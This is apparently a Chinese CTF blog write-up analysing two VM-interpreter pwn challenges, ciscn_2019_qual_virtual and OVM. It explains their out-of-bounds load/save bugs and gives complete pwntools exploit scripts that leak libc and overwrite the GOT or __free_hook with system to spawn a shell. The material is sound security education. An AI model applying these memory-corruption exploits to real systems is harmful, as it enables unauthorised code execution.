一些vmpwn的详细总结

总结一些常见vmpwn题的打法,数据越界泄露libc,通过偏移数据处理来得到危险函数地址等常见漏洞,会结合两道例题来进行讲解

前言

ctf比赛中的vm逆向不是指VMware或VirtualBox一类的虚拟机,而是一种解释执行系统或者模拟器,近几年出现的频率越来越高了,故总结一下vmpwn中常见的漏洞

ciscn_2019_qual_virtual

程序保护

image.png
发现没开pie和只开了Partial RELRO

程序分析

image.png

程序开始先是定义了三个堆分别作为vm的stack text data段

init_seg

逆向出结构体后是这样

  1. struct segment_chunk
  2. {
  3. char *segment;
  4. unsigned int size;
  5. int nop; 这个nop后面分析发现 stack段中的值的个数
  6. };

读入数据并且转移数据

image.png

第一个红框

image.png

image.png
先将值存入ptr所在的堆块 然后在进入move_func 以’ ‘空格为区分切割存入最开始设置的text段

第二个红框

image.png

代码逻辑基本相同,是存放入stack段中

vm_func

这里逆出来功能点是下图这样

image.png
有两个关键的函数

take_value

image.png

可以看出是把a1->segment中的指取出来给a2

set_value

image.png

与take_value相反

功能点

  1. func_pop(v3_data, a2_stack);
  2. func_push(v3_data, a2_stack);
  3. func_add(v3_data);
  4. func_sub(v3_data);
  5. func_x(v3_data); 乘法
  6. func_division(v3_data); 除法
  7. func_load(v3_data);
  8. func_save(v3_data);

这里分析一下load和save 其他的可以参考分析得出

func_load(v3_data);

image.png
这里是取出data段中的值为v2,然后把data[0]的值设置为data[v2]地址所存放的值

func_save(v3_data);

image.png

取两个参数,一个v2,一个v3 并且把data[v2]的值存放为v3

漏洞分析

这里关键点在于load和save这两个功能

load可以进行任意地址读,相当于可以读入data[num]的任何数据为data[0]

save可以进行任意地址写,由于v2和v3都是可控的,因此可以进行任意地址写

攻击思路

由于got表是可以写的,并且我们有任意地址写 因此我们可以通过之前的分析发现,data段的上方就是存放data段的指针

image.png
因此我们可以通过save来把指针覆盖为got段的下方一点的位置,然后通过load去取出puts的地址 然后通过add或者sub的功能去增加偏移把puts去修改为system,由于最后有一个puts(s) 是我们可控的 因此就可以getshell

exp如下

  1. #!/usr/bin/python3
  2. from pwn import *
  3. import random
  4. import os
  5. import sys
  6. import time
  7. from pwn import *
  8. from ctypes import *
  9. #--------------------setting context---------------------
  10. context.clear(arch='amd64', os='linux', log_level='debug')
  11. #context.terminal = ['tmux', 'splitw', '-h']
  12. sla = lambda data, content: mx.sendlineafter(data,content)
  13. sa = lambda data, content: mx.sendafter(data,content)
  14. sl = lambda data: mx.sendline(data)
  15. rl = lambda data: mx.recvuntil(data)
  16. re = lambda data: mx.recv(data)
  17. sa = lambda data, content: mx.sendafter(data,content)
  18. inter = lambda: mx.interactive()
  19. l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  20. h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
  21. s=lambda data: mx.send(data)
  22. log_addr=lambda data: log.success("--->"+hex(data))
  23. p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
  24. def dbg():
  25. gdb.attach(mx)
  26. #---------------------------------------------------------
  27. # libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
  28. filename = "./ciscn_2019_qual_virtual"
  29. mx = process(filename)
  30. #mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
  31. elf = ELF(filename)
  32. libc=elf.libc
  33. #初始化完成---------------------------------------------------------\
  34. dbg()
  35. rl("Your program name:\n")
  36. sl(b'/bin/sh\x00')
  37. rl("Your instruction:\n")
  38. payload=b'push push save push load push add push save'
  39. sl(payload)
  40. rl("Your stack data:\n")
  41. content=b'4210896 -3 -21 -193680 -21'
  42. sl(content)
  43. inter()

image.png

OVM

程序保护

image.png

程序分析

main

image.png

这一部分重点就是给SP PC赋值,然后把code读入memory[PC+i]的位置,并且通过检测限制单个字节最大为0xff

fetch

image.png

这里就是取出PC的值 传给memory 方便后面执行execute程序

execute

  1. v4 = (a1 & 0xF0000u) >> 16;
  2. v3 = (unsigned __int16)(a1 & 0xF00) >> 8;
  3. v2 = a1 & 0xF;
  4. result = HIBYTE(a1);

这里对传入的a1分别进行了几段的处理 处理后分别为v4 v3 v2 HIBYTE(a1);

add功能: 0x70

image.png

异或功能:0xb0

image.png

右移操作:0xd0

image.png

打印寄存器情况:0xff

image.png

左移操作:0xc0

image.png

位与操作:0x90

image.png

位或操作:0xa0

image.png

减法操作:0x80

image.png

save操作: 0x30

image.png

push操作:0x50

image.png

pop操作: 0x60

image.png

memory内存写入:0x40

image.png

给reg[v4]赋值 0x10 0x20

image.png

功能表一览

image.png

漏洞分析

我们关注到

image.png

image.png

这两个地方 一个是可以把reg[v2]中的值作为memory的索引去读入到reg[v4]中,另一个是可以把reg[v4]的值读入到memory[reg[v2]]中,而这里的v2是我们可以控制的,因此就可能导致溢出写,摆在我们面前的目前有两个问题

1.如何去泄露libc的地址

2.程序在开了FULL RELRO的情况应该改写哪里

问题一

image.png
可以看到memory 离got表的距离只有0x68换算一下也就是4*26 我们可以通过

reg[v4] = memory[reg[v2]];这个控制reg[v2]为-26 来把got表中的值读入寄存器,这里还有个限制 就是 我们前面分析的赋值的时候限制了大小为0到0xff 因此不能直接赋负值,我们可以通过 寄存器相减来实现这个目标

  1. opcode(0x10,0,0,26) #mov reg[0],26
  2. opcode(0x80,2,1,0) #reg[2]=reg[1]-reg[0]

这样子就实现了通过取负值取出got表的值,而由于got表中的地址是8字节,而我们的寄存器只存储4字节所以我们要存储在两个寄存器中 方便后续进行计算处理

  1. opcode(0x10,0,0,26) #mov reg[0],26
  2. opcode(0x80,2,1,0) #reg[2]=reg[1]-reg[0]
  3. opcode(0x30,4,0,2) #mov reg[4],memory[reg[2]]
  4. opcode(0x10,0,0,25) #mov reg[0],25
  5. opcode(0x80,2,1,0) #reg[2]=reg[1]-reg[0]
  6. opcode(0x30,5,0,2) #mov reg[5],memory[reg[2]]

image.png

然后后续我们有个打印所有寄存器的功能 就可以把libc的地址泄露出来

问题二

got表是不可以写的,因此我们只能考虑改别的 观察到

image.png
这里有个read读入到comment中存放的地址(这个可以通过调试得出来)

image.png

这是原地址,而comment存放地址的位置离memory非常的近,因此我们可以通过

memory[reg[v2]] = reg[v4]; 这个去把memory上面的comment覆盖为寄存器的值,和之前读取一样 需要两个4字节 修改后 就可以实现任意地址写了,由于后面有一次free 自然想到改free_hook

image.png

image.png

可以看到差距0x10a8我们可以通过寄存器之间加减变化得到,因为直接给寄存器传值收到了0-0xff的限制,所以要达到这个数值的话有两种思路:

1.是通过reg[13]或者reg[15]作为计算依据 这个是没有受到限制可以直接传入的

2.就是通过多次累加 或者 累减 之类的方式

思路总结

通过读取的功能去把got表中的值读入寄存器中 并且泄露出来,然后通过加减变化stderr的值为__free_hook-8的值 然后 通过 memory[reg[v2]] = reg[v4]; 传入覆盖comment的值 然后 修改 free_hook的值为system free_hook-8的值为/bin/sh\x00 就可以getshell

动态调试

读取地址:

image.png

修改stderr为free_hook-8

image.png

修改comment为free_hook-8

image.png

修改为system

image.png

getshell

image.png

exp

  1. #!/usr/bin/python3
  2. from pwn import *
  3. import random
  4. import os
  5. import sys
  6. import time
  7. from pwn import *
  8. from ctypes import *
  9. #--------------------setting context---------------------
  10. context.clear(arch='amd64', os='linux', log_level='debug')
  11. #context.terminal = ['tmux', 'splitw', '-h']
  12. sla = lambda data, content: mx.sendlineafter(data,content)
  13. sa = lambda data, content: mx.sendafter(data,content)
  14. sl = lambda data: mx.sendline(data)
  15. rl = lambda data: mx.recvuntil(data)
  16. re = lambda data: mx.recv(data)
  17. sa = lambda data, content: mx.sendafter(data,content)
  18. inter = lambda: mx.interactive()
  19. l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  20. h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
  21. s=lambda data: mx.send(data)
  22. log_addr=lambda data: log.success("--->"+hex(data))
  23. p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
  24. def dbg():
  25. gdb.attach(mx)
  26. #---------------------------------------------------------
  27. # libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
  28. filename = "./OVM"
  29. mx = process(filename)
  30. #mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
  31. elf = ELF(filename)
  32. libc=elf.libc
  33. #初始化完成---------------------------------------------------------\
  34. def opcode(op,high,medium,low):
  35. content=(op<<24)+(high<<16)+(medium<<8)+(low)
  36. sl(str(content))
  37. dbg()
  38. rl("PCPC: ")
  39. sl(str(0x1111))
  40. rl("SP: ")
  41. sl(str(0x10a0))
  42. rl("CODE SIZE: ")
  43. sl(str(14))
  44. rl("CODE: ")
  45. #0FB7
  46. opcode(0x10, 0, 0, 26)
  47. opcode(0x80, 2, 1, 0)
  48. opcode(0x30, 4, 0, 2)
  49. opcode(0x10, 0, 0, 25)
  50. opcode(0x80, 2, 1, 0)
  51. opcode(0x30, 5, 0, 2)
  52. opcode(0x70, 4, 4, 13)
  53. #--------------------------
  54. opcode(0x10, 0, 0, 8)
  55. opcode(0x80, 2, 1, 0)
  56. #--------------------------
  57. opcode(0x40, 4, 0, 2)
  58. opcode(0x10, 0, 0, 7)
  59. opcode(0x80, 2, 1, 0)
  60. #--------------------------
  61. opcode(0x40, 5, 0, 2)
  62. opcode(0xff, 0, 0, 0)
  63. rl("R4: ")
  64. libc_addr1=int(mx.recv(8),16)
  65. rl("R5: ")
  66. libc_addr2=int(mx.recv(4),16)
  67. print(hex(libc_addr1))
  68. print(hex(libc_addr2))
  69. libc_addr = (libc_addr2 << 32) + libc_addr1
  70. print(hex(libc_addr))
  71. #0F48=m
  72. system=libc_addr-0x39e4a0
  73. rl("HOW DO YOU FEEL AT OVM?")
  74. s(b'/bin/sh\x00'+p64(system))
  75. inter()

总结

像上面这种VMpwn的题目,关键功能点就是分配了栈 text data段 然后模拟pop push mov lea等功能,这种更多的是难在逆向 把功能点都一个个弄清楚之后 找到漏洞其实并不难,无非就是数据越界等常见漏洞,而我们通过两道题目发现 其实很多功能点是在我们的漏洞利用中每起到作用中,因此比赛的时候遇到类似这种题 就只需要重点去看涉及到栈 data等的指令 pop push lea类似的这种 便于快速锁定漏洞 拿到flag.

  • 发表于 2024-12-30 10:00:01
  • 阅读 ( 1697 )
  • 分类:二进制

0 条评论

sn1w
sn1w

4 篇文章

站长统计